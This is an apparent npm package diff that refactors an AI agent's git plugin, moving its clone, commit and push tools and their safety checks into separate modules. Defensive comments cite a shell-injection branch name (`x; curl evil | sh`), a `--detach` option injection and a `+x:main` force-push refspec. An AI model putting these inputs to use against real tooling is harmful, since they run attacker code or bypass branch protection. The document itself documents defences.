@dynamicagents/plugins 0.11.1 → 0.12.0

package/dist/repo/index.js

@@ -1,8 +1,9 @@
-import { tool } from "ai";
-import { z } from "zod";
 import { definePlugin } from "@dynamicagents/core";
-import { DEFAULT_ALLOWED_HOSTS, parseRepo, repoLocation, PROTECTED_BRANCHES, UNSAFE_BRANCH } from "./url.js";
-import { refreshCheckout, resolveDefaultBranch } from "./checkout.js";
+import { repoContext } from "./context.js";
+import { cloneTools } from "./tools-clone.js";
+import { forgeTools } from "./tools-forge.js";
+import { reviewTools } from "./tools-review.js";
+import { worktreeTools } from "./tools-worktree.js";
 /**
  * The URL parsing, re-exported from the one entry point.
  *
@@ -11,6 +12,7 @@ import { refreshCheckout, resolveDefaultBranch } from "./checkout.js";
  * though it is implemented in `url.ts`.
  */
 export { parseRepo } from "./url.js";
+export { graphqlEndpoint, truncateOutput } from "./context.js";
 /**
  * `@dynamicagents/plugins/repo` — clone, commit, push, open a pull request.
  *
@@ -71,1044 +73,30 @@ export { parseRepo } from "./url.js";
  */
 /** This plugin's tool-family name, as a recipe's `toolFamilies` lists it. */
 export const REPO_FAMILY = "repo";
-const DEFAULT_WORKDIR = "/workspace";
-const DEFAULT_API_BASE = "https://api.github.com";
-const DEFAULT_AUTHOR = {
-    name: "da-coder",
-    email: "coder@dynamicagents.invalid"
-};
-const DEFAULT_MAX_OUTPUT_CHARS = 16_000;
-/**
- * Ceiling on every call this plugin makes to the forge's API.
- *
- * Not configurable, because it is not a tuning knob: it exists so an API that
- * stops answering costs a round rather than the task. These are single small
- * requests, and thirty seconds is already generous for one.
- */
-const FORGE_TIMEOUT_MS = 30_000;
-/**
- * How many items one forge list call asks for. GitHub's maximum, and its default
- * without this is 30.
- *
- * One page, never a Link-header walk: an unbounded fetch loop does not belong
- * inside a model turn, and the render is bounded by `maxOutputChars` anyway. What
- * matters is that a full page is *reported* as possibly partial rather than
- * presented as the whole answer — a pull request's newest review comments are on
- * the last page, and those are exactly the ones an agent was sent to act on.
- */
-const FORGE_PAGE_SIZE = 100;
-/**
- * Middle-out truncation, so both the head of a diff and its tail survive.
- *
- * Deliberately a **copy** of the computer plugin's function of the same name,
- * not an import. `npm run verify:exports` fails any subpath whose module graph
- * reaches a sibling's directory, and its own advice for a shared helper is to
- * duplicate it — installing `repo` must not drag `computer` (and therefore
- * `@cloudflare/computer`) into a consumer's bundle. Fifteen lines is a cheaper
- * price than that coupling, and it is the same reason `exec` is injected here
- * rather than imported.
- *
- * The `half < 1` guard is not padding: without it a small `max` makes `half`
- * zero or negative, and `slice(-0)` is `slice(0)` — the whole string — so the
- * function would return *more* than it was given.
- */
-export function truncateOutput(text, max) {
-    if (text.length <= max)
-        return text;
-    const marker = (dropped) => `\n\n… [${dropped} characters omitted from the middle] …\n\n`;
-    const half = Math.floor((max - marker(text.length).length) / 2);
-    if (half < 1)
-        return text.slice(0, Math.max(0, max));
-    return (text.slice(0, half) + marker(text.length - half * 2) + text.slice(-half));
-}
-/**
- * What to tell the model when the plumbing, not the command, is the problem.
- *
- * A sibling of the computer plugin's `execLostNote` rather than an import, for
- * the same reason {@link truncateOutput} is a copy: `npm run verify:exports`
- * fails any subpath whose module graph reaches a sibling's, and installing `repo`
- * must not drag `computer` in behind it. The wording differs anyway, and the
- * difference is the point — that plugin cannot know the lost command was git, and
- * this one does. What a model needs after a lost `git push` is not "re-run it"
- * but whether re-running it is *safe*.
- */
-function unreachableNote(err) {
-    if (err?.code === "EEXEC_LOST") {
-        return ("the container was replaced while this command was running, so nothing here " +
-            "is known to have finished. This is infrastructure — not git, and not what " +
-            "you asked for. The checkout is durable and is exactly as you left it. " +
-            "Retry, and read what the retry says rather than assuming it starts from " +
-            "nothing: a command that had already reached the forge may have taken " +
-            "effect. Retrying is safe either way — these commands push one branch to " +
-            "the branch of the same name, and never force.");
-    }
-    return (`the command could not be run: ${String(err)}. This is the plumbing — the ` +
-        `container, the transport to it, or the host's own configuration — rather ` +
-        `than git or anything you passed, and nothing is known to have completed. ` +
-        `Retry once; if it happens again, say so in your result rather than working ` +
-        `around it.`);
-}
-/**
- * One git command at a time, per plugin instance.
- *
- * Git takes `.git/index.lock` for anything that writes and fails outright rather
- * than waiting if it is already held. A model may emit several tool calls in one
- * turn and the SDK runs them concurrently, so unserialised a `repo_commit` and a
- * `repo_push` race: the commit fails, the push succeeds against the previous
- * state, and the round reports work that never landed.
- *
- * Held here rather than in {@link repoSurface}'s closure, because that closure
- * is too short-lived to be the boundary. Core rebuilds `mainAgentTools` every
- * turn and gives each subagent execution its own tool family, so a per-call queue
- * leaves a subagent racing its parent over one checkout — the same collision, one
- * level up. The config object is the plugin instance, and a `WeakMap` means a
- * discarded agent takes its queue with it.
- *
- * A promise chain rather than a lock, because that is all the scope needs: one
- * isolate, one container. Reads are serialised too — `git status` does not take
- * the lock, but ordering costs nothing at these durations and removes having to
- * be right about which commands write.
- *
- * ## The unit is a command, not a tool call
- *
- * Worth stating exactly, because the name suggests more. What is guaranteed is
- * that no two git commands run at once, which is what `.git/index.lock` needs.
- * What is *not* guaranteed is that one tool's sequence is atomic: `repo_push`
- * issues nine commands and `repo_commit` two, and another tool's command can be
- * dequeued between any of them. The shape to watch for is a branch switch landing
- * inside another tool's work —
- *
- *     repo_commit: git add -A
- *     repo_push:   git checkout -b coder/x    ← interleaves here
- *     repo_commit: git commit -m "…"          ← lands on coder/x
- *
- * — because the checked-out branch is state the whole checkout shares, so only
- * concurrent *mutating* tools can disturb it. Both calls report success.
- *
- * Accepted rather than closed, because reaching it takes two repo tool calls in
- * flight against one checkout from one agent, and that is not how the coder
- * drives them. If it is ever observed, the fix is to take the lock once around
- * each tool body instead of around each command — which means the runners below
- * must stop taking it themselves, since a nested take on a promise chain waits
- * on a tail its own caller is still holding.
- */
-const gitQueues = new WeakMap();
 export function buildRepoTools(config, 
 /** Forwarded to every `exec`; see {@link RepoExec}'s `runtime` option. */
 runtime) {
     return repoSurface(config, runtime).tools;
 }
-/**
- * The repo tools, and the approval rule for the one a person approves — one
- * closure, so the rule reads the checkout through the same `origin` the tool it
- * gates runs against. See {@link repoToolApproval}.
- */
+/** The repo tools, as one closure over a caller's config. */
 function repoSurface(config, runtime) {
-    const workdir = config.workdir ?? DEFAULT_WORKDIR;
-    const apiBase = config.apiBase ?? DEFAULT_API_BASE;
-    const author = config.author ?? DEFAULT_AUTHOR;
-    const allowedHosts = config.allowedHosts ?? DEFAULT_ALLOWED_HOSTS;
-    const maxChars = config.maxOutputChars ?? DEFAULT_MAX_OUTPUT_CHARS;
-    /** Everything this plugin hands back to the model, bounded. */
-    const bounded = (text) => truncateOutput(text, maxChars);
-    /**
-     * Tell the host a checkout is ready, and never let that fail the clone.
-     *
-     * The clone did succeed. Whatever the host wanted to do next — start an
-     * install, usually — is its problem to notice, and turning a working
-     * `repo_clone` into an error would send the model to investigate git when
-     * git is fine.
-     */
-    const notifyCheckout = async (checkout) => {
-        if (!config.afterCheckout)
-            return;
-        try {
-            await config.afterCheckout(checkout);
-        }
-        catch (err) {
-            console.error("[repo] afterCheckout failed", {
-                dir: checkout.dir,
-                repo: checkout.repo,
-                err: String(err)
-            });
-        }
-    };
-    /**
-     * The forge credential, or the reason there is none.
-     *
-     * `config.token` is the host's thunk, and an unresolvable secret throws at the
-     * moment of use rather than at startup. Every caller here has a sentence to
-     * return, so a throw becomes a value: the one place that must never throw is
-     * {@link logFailure}, which runs on the path where an unreadable token is a
-     * likely reason to be there at all.
-     */
-    const credential = () => {
-        try {
-            return { token: config.token() };
-        }
-        catch (err) {
-            return {
-                failure: `the forge credential could not be read: ${String(err)}. That is the ` +
-                    `host's configuration rather than anything you passed — report it ` +
-                    `rather than working around it.`
-            };
-        }
-    };
-    /**
-     * Say out loud that a git command failed.
-     *
-     * A failure path that returns its stderr only to the model is one audience
-     * short: a `git push` exiting 128 leaves nothing behind but an `exec` line and
-     * a truncated command, and proving whether the branch landed then means asking
-     * the GitHub API. One line naming the tool and carrying the stderr answers it
-     * directly.
-     *
-     * At `error`, because `--level error` is what an operator narrows to once a
-     * task has gone wrong and this is a thing that went wrong. As a `warn` it was
-     * outside that filter: a clone that failed on 2026-09-05 was invisible to the
-     * first pass of the investigation and had to be found by timestamp.
-     *
-     * The token is scrubbed rather than trusted. It has no route into a container
-     * command, and the one channel that could carry it is the forge API's error
-     * body, which {@link forge} logs through this same function. So stderr *should*
-     * be clean — but "should be" is not the standard for something that writes a
-     * credential into a log that outlives the request, and the scrub costs a
-     * `split`/`join` on a path that already failed.
-     */
-    const logFailure = (tool, detail) => {
-        // Nothing to scrub is not a problem: the log is written either way, and
-        // what it carries is whatever the command produced.
-        const secret = credential();
-        const token = "token" in secret ? secret.token : "";
-        const scrub = (text) => token && text ? text.split(token).join("«token»") : text;
-        console.error(`[repo] ${tool} failed`, {
-            exitCode: detail.exitCode,
-            stderr: truncateOutput(scrub(detail.stderr) ?? "", 2_000),
-            stdout: truncateOutput(scrub(detail.stdout) ?? "", 2_000)
-        });
-    };
-    // Keyed on the config object, which is what identifies the plugin instance:
-    // `repo(config)` closes over exactly one and hands the same one to every build.
-    const queue = gitQueues.get(config) ?? { tail: Promise.resolve() };
-    gitQueues.set(config, queue);
-    const serialised = (run) => {
-        // `then(run, run)` so one failure does not wedge every command behind it —
-        // the queue is for ordering, not for propagating outcomes.
-        const next = queue.tail.then(run, run);
-        queue.tail = next.then(() => undefined, () => undefined);
-        return next;
-    };
-    /**
-     * Run git with the token in the environment, never on the command line, and
-     * offered only to `host`.
-     *
-     * `vars` carries every **model-controlled** value — a URL, a branch name, a
-     * commit message — into the container as an environment variable, referenced
-     * inside the command as `"$VAR"`. Interpolating them into the command string
-     * instead would let a model-authored branch name of `x; curl evil | sh` run
-     * as a second command. The container is isolated and the blast radius is its
-     * own filesystem, but "the container contains it" is a reason to be careful
-     * here, not a reason to skip it.
-     *
-     * `host` is never model input: it comes from {@link repoLocation} after the
-     * allowlist check, so the origin the credential is bound to is always one the
-     * host configured.
-     */
-    /**
-     * Every container command this plugin runs, and the only place `exec` is
-     * allowed to throw.
-     *
-     * `options` is a thunk rather than a value so that everything it reads — the
-     * token above all — is read here, inside the `try` and at the moment the queue
-     * actually dequeues this command. Building it at the call site would put a
-     * rotated secret's lookup, and any throw from it, outside the one handler.
-     */
-    const run = (command, options) => serialised(async () => {
-        try {
-            return await config.exec(command, options());
-        }
-        catch (err) {
-            // Logged here as well as by the tool's own failure branch: the two say
-            // different things, and this is the one that names the command. The
-            // command string is safe to log — that it never carries the token is the
-            // invariant this whole file is built on, and it has a test.
-            console.warn("[repo] command could not run", {
-                command: truncateOutput(command, 500),
-                err: String(err)
-            });
-            return {
-                success: false,
-                stdout: "",
-                stderr: unreachableNote(err),
-                exitCode: -1,
-                unreachable: true
-            };
-        }
-    });
-    /** A container command with no secret in its environment. */
-    const shell = (script, cwd, vars = {}) => run(script, () => ({
-        cwd,
-        runtime,
-        env: { GIT_TERMINAL_PROMPT: "0", ...vars }
-    }));
-    const plain = (args, cwd, vars = {}) => shell(`git ${args}`, cwd, vars);
-    /**
-     * Run one credentialed operation, on the host's side of the boundary.
-     *
-     * The sibling of {@link run}, for the same reason: every tool below already
-     * has a `!success` branch that says what it was doing at the time. What differs
-     * is where a failure can come from.
-     *
-     * {@link RepoGit} reports a *git* failure as data — a rejected push, a branch
-     * that does not resolve — so that becomes an ordinary unsuccessful result. A
-     * throw means the host could not be reached at all, which is the `unreachable`
-     * case: nothing ran, and three places in this file read that differently from
-     * an answer.
-     *
-     * Serialised with the container commands rather than merely alongside them. A
-     * fetch writes refs into the same checkout a `git status` is reading, and the
-     * two interleaving is exactly the race `serialised` exists to prevent — the
-     * fact that one of them now runs somewhere else does not change that they
-     * share a filesystem.
-     */
-    const runGit = (op) => serialised(async () => {
-        try {
-            const result = await op();
-            return result.ok
-                ? { success: true, stdout: result.detail, stderr: "", exitCode: 0 }
-                : { success: false, stdout: "", stderr: result.message, exitCode: 1 };
-        }
-        catch (err) {
-            // Logged here as well as by the tool's own failure branch, the same way
-            // `run` does it: this is the line that names the operation as git's
-            // rather than the container's, which is the first thing worth knowing.
-            console.warn("[repo] a credentialed git operation could not run", {
-                err: String(err)
-            });
-            return {
-                success: false,
-                stdout: "",
-                stderr: unreachableNote(err),
-                exitCode: -1,
-                unreachable: true
-            };
-        }
-    });
-    /**
-     * Update the checkout's remote-tracking refs.
-     *
-     * The allowlist travels with the call rather than being checked once here,
-     * because the host is where the token actually is: it can bind the check to
-     * the moment the credential would be handed over, which catches a host reached
-     * by redirect as well as one named in the URL.
-     */
-    const fetchOrigin = (dir, url) => runGit(() => config.git.fetch({ url, dir, allowedHosts }));
-    /** Push one branch to the same-named branch on the remote. Never forced. */
-    const pushBranch = (dir, url, branch) => runGit(() => config.git.push({ url, dir, branch, allowedHosts }));
-    /**
-     * One call to the forge's API, from the Worker.
-     *
-     * Every tool here that talks to the forge goes through this, so the credential
-     * stays on the Worker's side of the boundary and the bound, the header set and
-     * the refusal to let an unreadable body replace an explanatory status are
-     * written once.
-     *
-     * A failure comes back as a value rather than a throw, because each caller has
-     * its own sentence to add: a POST whose answer never arrived may have been
-     * received, which a GET has no reason to warn about.
-     */
-    const forge = async (tool, path, init) => {
-        const secret = credential();
-        if ("failure" in secret) {
-            logFailure(tool, { stderr: secret.failure });
-            return { ok: false, message: secret.failure };
-        }
-        let response;
-        try {
-            response = await fetch(`${apiBase}${path}`, {
-                method: init?.method ?? "GET",
-                headers: {
-                    authorization: `Bearer ${secret.token}`,
-                    accept: "application/vnd.github+json",
-                    "content-type": "application/json",
-                    "user-agent": "da-coder"
-                },
-                ...(init ? { body: JSON.stringify(init.body) } : {}),
-                signal: AbortSignal.timeout(FORGE_TIMEOUT_MS)
-            });
-        }
-        catch (err) {
-            logFailure(tool, { stderr: String(err) });
-            return {
-                ok: false,
-                message: `could not reach ${apiBase}: ${String(err)}`
-            };
-        }
-        if (!response.ok) {
-            const detail = await response.text().catch(() => "");
-            logFailure(tool, { exitCode: response.status, stderr: detail });
-            return {
-                ok: false,
-                message: `${apiBase}${path} answered ${response.status}: ${detail.slice(0, 500)}`
-            };
-        }
-        return { ok: true, data: await response.json().catch(() => ({})) };
-    };
-    /**
-     * Which repository the tools that read the forge are talking about.
-     *
-     * The checkout's own origin, never a URL the model supplies. Three reasons, in
-     * order of how much they matter: the origin has already been through the host
-     * allowlist, there is nothing new to validate; a model that can name any
-     * repository here can read any repository the token can, which is precisely
-     * the reach this plugin does not want to widen; and an agent asking about
-     * "issue 42" almost always means the repository it is working in, so the extra
-     * parameter would mostly be an extra way to be wrong.
-     */
-    const forgeRepo = async (dir) => {
-        const { remote, unreachable } = await origin(dir);
-        if (unreachable)
-            return { refusal: bounded(unreachable) };
-        if (!remote)
-            return {
-                refusal: `${dir} has no origin on an allowed host — clone it with repo_clone first`
-            };
-        const parsed = parseRepo(remote.url, allowedHosts);
-        if (!parsed)
-            return {
-                refusal: `could not parse an owner/repo out of ${dir}'s origin`
-            };
-        return {
-            owner: encodeURIComponent(parsed.owner),
-            repo: encodeURIComponent(parsed.repo)
-        };
-    };
-    /**
-     * The origin a checkout was cloned from, re-derived rather than remembered.
-     *
-     * `repo_push` needs to know which host to offer the credential to, and the
-     * only trustworthy answer is the one recorded in the checkout itself — which
-     * `repo_clone` only ever writes after the allowlist has passed.
-     */
-    const origin = async (dir) => {
-        const result = await plain("remote get-url origin", dir);
-        // Two different nothings. `repo_push`'s answer to "no origin here" is to
-        // tell the model to clone the repository first — advice that is actively
-        // wrong when the truth is that no command ran at all.
-        if (result.unreachable)
-            return { unreachable: result.stderr };
-        if (!result.success)
-            return {};
-        const url = result.stdout.trim();
-        const location = repoLocation(url);
-        if (!location || !allowedHosts.includes(location.host))
-            return {};
-        // The URL as well as the host: the credentialed operations run on the
-        // host's side of the boundary and take the repository as a parameter, so
-        // `origin` is a name that means nothing to them. The URL has to travel —
-        // canonicalised, since what git hands back is whatever was written into
-        // `.git/config`.
-        return { remote: { host: location.host, url: location.url } };
-    };
+    const ctx = repoContext(config, runtime);
     const tools = {
-        repo_clone: tool({
-            description: "Clone a git repository into the workspace. Returns the checkout path and the branch you landed on. If the repository is already checked out from an earlier task, it is fetched and reset to the remote instead — unless it has uncommitted changes, which are left alone for you to inspect.",
-            inputSchema: z.object({
-                url: z.string().describe("HTTPS repository URL"),
-                branch: z
-                    .string()
-                    .optional()
-                    .describe("Branch to check out (default: the repo's default)"),
-                depth: z
-                    .number()
-                    .optional()
-                    .describe("Shallow-clone depth. Omit for full history; needed if you must rebase.")
-            }),
-            execute: async ({ url, branch, depth }) => {
-                // The gate, before anything runs. `url` is model input, and a clone is
-                // the one command that hands a credential to a host it names.
-                const location = repoLocation(url);
-                if (!location || !allowedHosts.includes(location.host)) {
-                    return (`refusing to clone from "${location?.host ?? url}" — this agent may ` +
-                        `only clone over https from: ${allowedHosts.join(", ")}`);
-                }
-                // Everything past this point travels the canonical form, so what the
-                // host clones, what lands in `.git/config`, and what `afterCheckout`
-                // records are one string. Refusals above still quote what the model
-                // actually sent.
-                const { host, url: target } = location;
-                // Refused rather than worked around. A URL that passes the host check
-                // but names no repository is what a model copies out of a browser —
-                // `.../tree/main`, `.../pull/4` — and carrying on means cloning without
-                // telling `beforeCheckout` which repository this is, so a host keying its
-                // filesystem per repository never switches and the checkout lands in
-                // whichever workspace was already open.
-                //
-                // Not silently trimmed to the first two segments either, tempting as it
-                // is: that reads `.../orgs/x/repositories` as the repository `x`, and
-                // quietly reinterpreting the target is the wrong instinct for the one
-                // tool that offers a credential to a host on the model's say-so. A
-                // refusal costs one turn and says exactly what to send instead.
-                const parsed = parseRepo(target, allowedHosts);
-                if (!parsed) {
-                    return (`refusing to clone "${url}" — it does not name a repository. ` +
-                        `A clone URL is https://<host>/<owner>/<repo>, so if this came out of ` +
-                        `a browser, drop everything after the repository name (the /tree/…, ` +
-                        `/pull/… or /blob/… part) and try again.`);
-                }
-                // The same guard `repo_push` applies, at the second door a branch name
-                // enters by. `refreshCheckout` runs `git checkout "$REPO_BRANCH"`, and
-                // quoting stops word-splitting but *not* option parsing: a `branch` of
-                // `--detach` arrives as an option, git detaches HEAD, the `reset` that
-                // follows fails against `origin/--detach`, and the checkout a later task
-                // inherits has moved for reasons nothing reported.
-                //
-                // Checked here rather than in `refreshCheckout` because this is where
-                // model input arrives and where the message can say what to send instead.
-                // It also covers the fresh-clone path, where the name reaches
-                // isomorphic-git as a ref: no argv there, so no option to parse, but an
-                // unresolvable ref is a worse error than this sentence.
-                if (branch !== undefined && UNSAFE_BRANCH.test(branch))
-                    return `"${branch}" is not a plain branch name — use something like "main"`;
-                const dir = `${workdir}/${parsed.repo}`;
-                // Before anything runs, and before `dir` is touched: a host keying its
-                // filesystem per repository needs to have switched by now. See
-                // `beforeCheckout` for why this cannot wait for the clone to finish.
-                //
-                // A throw here stops the clone, which is the exact opposite of how
-                // `afterCheckout` is treated — and the asymmetry is the point rather than
-                // an inconsistency. This hook *chooses the workspace*; carrying on past a
-                // failed one would put the checkout wherever the last task left the
-                // selection, which is the failure the hook exists to prevent. By the time
-                // `afterCheckout` runs there is a checkout on disk and the model needs to
-                // be told about it, so that one is caught and logged.
-                try {
-                    config.beforeCheckout?.({
-                        url: target,
-                        host,
-                        owner: parsed.owner,
-                        repo: parsed.repo
-                    });
-                }
-                catch (err) {
-                    console.error("[repo] beforeCheckout failed", {
-                        url,
-                        repo: `${parsed.owner}/${parsed.repo}`,
-                        err: String(err)
-                    });
-                    return (`could not select a workspace for ${parsed.owner}/${parsed.repo}: ` +
-                        `${String(err)}\nNothing was cloned — going ahead would have put the ` +
-                        `checkout in whichever workspace was already open.`);
-                }
-                // The workspace outlives the task, so this path may already hold the
-                // checkout a previous task left — see `refreshCheckout`.
-                const existing = await plain("rev-parse --git-dir", dir);
-                // A failed probe means "nothing here, clone it" — but only when git
-                // answered. A command that never ran means nothing, and the distinction
-                // is not academic: a replaced container is precisely the case where this
-                // call fails and the *next* one lands on a working replacement. Read as
-                // "empty", it points `git clone` at a directory that already holds the
-                // checkout — which fails with `destination path already exists` and skips
-                // the refresh that was the right answer all along.
-                if (existing.unreachable)
-                    return bounded(`could not clone ${url}: ${existing.stderr}`);
-                if (existing.success) {
-                    const refreshed = await refreshCheckout({
-                        dir,
-                        url: target,
-                        branch,
-                        plain,
-                        fetchOrigin
-                    });
-                    if (refreshed.branch) {
-                        await notifyCheckout({
-                            dir,
-                            url: target,
-                            host,
-                            repo: `${parsed.owner}/${parsed.repo}`,
-                            branch: refreshed.branch,
-                            fresh: false
-                        });
-                    }
-                    return refreshed.message;
-                }
-                // `depth` is bounded here rather than trusted from the schema. It no
-                // longer reaches a shell, so this is arithmetic rather than quoting: a
-                // fractional or negative depth is not something to hand to git.
-                const result = await runGit(() => config.git.clone({
-                    url: target,
-                    dir,
-                    allowedHosts,
-                    ...(branch ? { branch } : {}),
-                    ...(depth ? { depth: Math.max(1, Math.floor(depth)) } : {})
-                }));
-                if (!result.success) {
-                    logFailure("repo_clone", result);
-                    return bounded(`clone failed: ${result.stderr || result.stdout}`);
-                }
-                // Identity has to exist before the first commit, and a repo-local config
-                // keeps it from leaking into anything else in the container.
-                //
-                // Still written through the container, and deliberately: the commits it
-                // names are made there, by `repo_commit`, with no credential in sight.
-                // Only the three operations that talk to the forge moved.
-                await plain(`config user.name "$GIT_NAME"`, dir, {
-                    GIT_NAME: author.name
-                });
-                await plain(`config user.email "$GIT_EMAIL"`, dir, {
-                    GIT_EMAIL: author.email
-                });
-                // Two gits now share one `.git`, and this is where they could disagree.
-                //
-                // The container's git and the host's isomorphic-git read and write the
-                // same index. isomorphic-git understands version 2 and the extensions
-                // git writes for its own caches are not part of that contract, so a
-                // repository that picked up an untracked cache or a split index — from a
-                // `feature.manyFiles` default, or a user config in some future image —
-                // would be written by one and misread by the other. Pinned at clone
-                // time, repo-locally, where it costs three commands and cannot surprise
-                // anyone later.
-                //
-                // Unchecked deliberately, like the upstream-tracking pair in
-                // `repo_push`: git's own defaults are already these values, so a failure
-                // here means the config could not be written at all, which the very next
-                // command will say far more clearly than this one could.
-                await plain(`config index.version 2`, dir);
-                await plain(`config core.untrackedCache false`, dir);
-                await plain(`config core.splitIndex false`, dir);
-                // The clone reports the branch it landed on, so nothing has to ask git
-                // afterwards — and a failed question would fire `afterCheckout` with no
-                // branch at all, starting an install against a checkout nobody can name.
-                const landed = result.stdout.trim() || branch;
-                if (!landed) {
-                    logFailure("repo_clone", result);
-                    return bounded(`cloned to ${dir}, but could not read which branch it landed on`);
-                }
-                await notifyCheckout({
-                    dir,
-                    url: target,
-                    host,
-                    repo: `${parsed.owner}/${parsed.repo}`,
-                    branch: landed,
-                    fresh: true
-                });
-                return `cloned to ${dir} on branch ${landed}`;
-            }
-        }),
-        repo_status: tool({
-            description: "Show which files changed in the checkout.",
-            inputSchema: z.object({ dir: z.string().describe("Checkout directory") }),
-            execute: async ({ dir }) => {
-                const result = await plain("status --short", dir);
-                // "(no changes)" is a claim about the tree. A command that failed
-                // supports no claim about anything, and reporting one as the other sends
-                // the model on to commit against a repository it cannot read.
-                if (!result.success) {
-                    logFailure("repo_status", result);
-                    return bounded(`could not read the status of ${dir}: ${result.stderr || result.stdout}`);
-                }
-                return bounded(result.stdout.trim()) || "(no changes)";
-            }
-        }),
-        repo_diff: tool({
-            description: "Show the current diff. Read this before committing — it is the cheapest way to catch an edit that did more than you intended. Pass stat:true first on a large change to see which files moved and by how much, then read the full diff of what matters.",
-            inputSchema: z.object({
-                dir: z.string().describe("Checkout directory"),
-                staged: z.boolean().optional().describe("Show staged changes instead"),
-                stat: z
-                    .boolean()
-                    .optional()
-                    .describe("Summarise as a per-file changed-line count instead of the full patch")
-            }),
-            execute: async ({ dir, staged, stat }) => {
-                const flags = [staged ? "--staged" : "", stat ? "--stat" : ""]
-                    .filter(Boolean)
-                    .join(" ");
-                const result = await plain(`diff ${flags}`, dir);
-                // Same reasoning as `repo_status`: "(no diff)" and "the diff could not
-                // be read" are opposite answers, and this is the tool a reviewing agent
-                // trusts most.
-                if (!result.success) {
-                    logFailure("repo_diff", result);
-                    return bounded(`could not read the diff in ${dir}: ${result.stderr || result.stdout}`);
-                }
-                // Truncated from the middle rather than the end: the head of a diff and
-                // its tail are both informative, and the middle of a large one rarely
-                // is. A model that needs the part that was dropped can ask for `stat`
-                // and then read the file.
-                return bounded(result.stdout.trim()) || "(no diff)";
-            }
-        }),
-        repo_commit: tool({
-            description: "Stage everything and commit. Write the message for a reviewer reading it in the log a year from now: what changed and why, not how.",
-            inputSchema: z.object({
-                dir: z.string().describe("Checkout directory"),
-                message: z.string().describe("Commit message")
-            }),
-            execute: async ({ dir, message }) => {
-                // Checked rather than fired and forgotten. A failed `add` leaves the
-                // index holding less than the model believes, and the commit that
-                // follows still succeeds — so the round reports a commit that quietly
-                // does not contain the change.
-                const staged = await plain("add -A", dir);
-                if (!staged.success) {
-                    logFailure("repo_commit", staged);
-                    return bounded(`could not stage the changes in ${dir}: ${staged.stderr || staged.stdout}`);
-                }
-                // The message is model-authored free text — quotes, backticks, newlines,
-                // `$(…)`. Expanded from the environment inside the container, all of
-                // that is inert; interpolated into the command string, none of it is.
-                const result = await plain(`commit -m "$GIT_COMMIT_MESSAGE"`, dir, {
-                    GIT_COMMIT_MESSAGE: message
-                });
-                if (!result.success && /nothing to commit/i.test(result.stdout))
-                    return "nothing to commit — the working tree is clean";
-                if (!result.success) {
-                    logFailure("repo_commit", result);
-                    return bounded(`commit failed: ${result.stderr || result.stdout}`);
-                }
-                return bounded(result.stdout.trim());
-            }
-        }),
-        repo_push: tool({
-            description: "Push a branch to the remote. Refuses to push to a protected branch and refuses to force-push — open a pull request instead.",
-            inputSchema: z.object({
-                dir: z.string().describe("Checkout directory"),
-                branch: z
-                    .string()
-                    .describe("Branch name to create and push, e.g. 'coder/add-json-flag'")
-            }),
-            execute: async ({ dir, branch }) => {
-                // Enforced here rather than in the prompt: a guardrail a model can talk
-                // itself out of is not a guardrail.
-                //
-                // Shape first, then the name. `git push origin <name>` reads `<name>`
-                // as a refspec, so `+x:main` is a force push to main that the name
-                // check below would wave through — it only ever sees a literal string.
-                if (UNSAFE_BRANCH.test(branch))
-                    return `"${branch}" is not a plain branch name — use something like "coder/add-json-flag"`;
-                if (PROTECTED_BRANCHES.has(branch))
-                    return `refusing to push to "${branch}" — push a work branch and open a pull request`;
-                // The repository's *own* default, which is often none of the four names
-                // above: a repo whose trunk is `release` deserves the same protection.
-                // A command that never ran stops here rather than standing the guards
-                // down — the same rule as the two probes further down, and the reason
-                // {@link resolveDefaultBranch} reports the two separately.
-                const head = await resolveDefaultBranch(plain, dir);
-                if (head.unreachable)
-                    return bounded(`could not push "${branch}": ${head.unreachable}`);
-                const defaultBranch = head.branch;
-                if (defaultBranch && defaultBranch === branch)
-                    return `refusing to push to "${branch}" — it is this repository's default branch; push a work branch and open a pull request`;
-                const { remote, unreachable } = await origin(dir);
-                if (unreachable)
-                    return bounded(`could not push "${branch}": ${unreachable}`);
-                if (!remote)
-                    return `${dir} has no origin on an allowed host — clone it with repo_clone first`;
-                // Switch to the branch, or create it — but never *reset* it.
-                //
-                // `-b`, never `-B`: `-B` is create-or-reset, so on a branch that already
-                // holds the commit it force-moves it to wherever HEAD is now. The commit
-                // survives only as an unreferenced object, and what gets pushed is an
-                // empty branch with a pull request opened on it — a complete loss
-                // dressed up as success.
-                const exists = await plain(`rev-parse --verify --quiet "refs/heads/$REPO_BRANCH"`, dir, { REPO_BRANCH: branch });
-                // Same reasoning as the probe in `repo_clone`: `!success` means "no such
-                // branch, create it" only when git was there to say so.
-                if (exists.unreachable)
-                    return bounded(`could not push "${branch}": ${exists.stderr}`);
-                const checkout = await plain(exists.success
-                    ? `checkout "$REPO_BRANCH"`
-                    : `checkout -b "$REPO_BRANCH"`, dir, { REPO_BRANCH: branch });
-                if (!checkout.success) {
-                    logFailure("repo_push", checkout);
-                    return bounded(`could not switch to branch "${branch}": ${checkout.stderr || checkout.stdout}`);
-                }
-                // Nothing to push is a bug upstream of here, not a no-op.
-                //
-                // A branch level with the default branch means the commit went
-                // somewhere else, or was never made. Pushing it succeeds, `repo_open_pr`
-                // opens an empty pull request, and the round reports a URL as if the
-                // work had landed — the one outcome worse than an error.
-                //
-                // The guard is skipped only when there is no baseline to compare
-                // against: a repository with no `origin/HEAD` is unusual but legitimate,
-                // and guessing is worse than not guarding. Once there *is* one, a
-                // comparison that fails is an unanswered question rather than a pass —
-                // the same rule the three probes around this one follow.
-                if (defaultBranch) {
-                    const ahead = await plain(`rev-list --count "origin/$REPO_BASE..HEAD"`, dir, {
-                        REPO_BASE: defaultBranch
-                    });
-                    if (ahead.unreachable)
-                        return bounded(`could not push "${branch}": ${ahead.stderr}`);
-                    if (!ahead.success) {
-                        logFailure("repo_push", ahead);
-                        return bounded(`could not tell whether "${branch}" has anything to push: comparing it ` +
-                            `against origin/${defaultBranch} failed with ` +
-                            `${ahead.stderr || ahead.stdout || "no output"}\n` +
-                            `Nothing was pushed. Pushing without that answer risks an empty pull ` +
-                            `request reported as success, so check repo_status and repo_diff first.`);
-                    }
-                    if (ahead.stdout.trim() === "0") {
-                        return (`refusing to push "${branch}" — it has no commits that origin/${defaultBranch} ` +
-                            `does not already have, so the pull request would be empty. Check repo_status ` +
-                            `and repo_diff: either the change was never committed, or it was committed on ` +
-                            `a different branch.`);
-                    }
-                }
-                // A pre-flight check, not a value anyone downstream consumes: `push`
-                // takes the branch *name* and resolves it itself, against the same
-                // files. What this buys is the failure arriving here, where the sentence
-                // can name the branch and the checkout, instead of surfacing as a push
-                // that rejects a ref nobody can see.
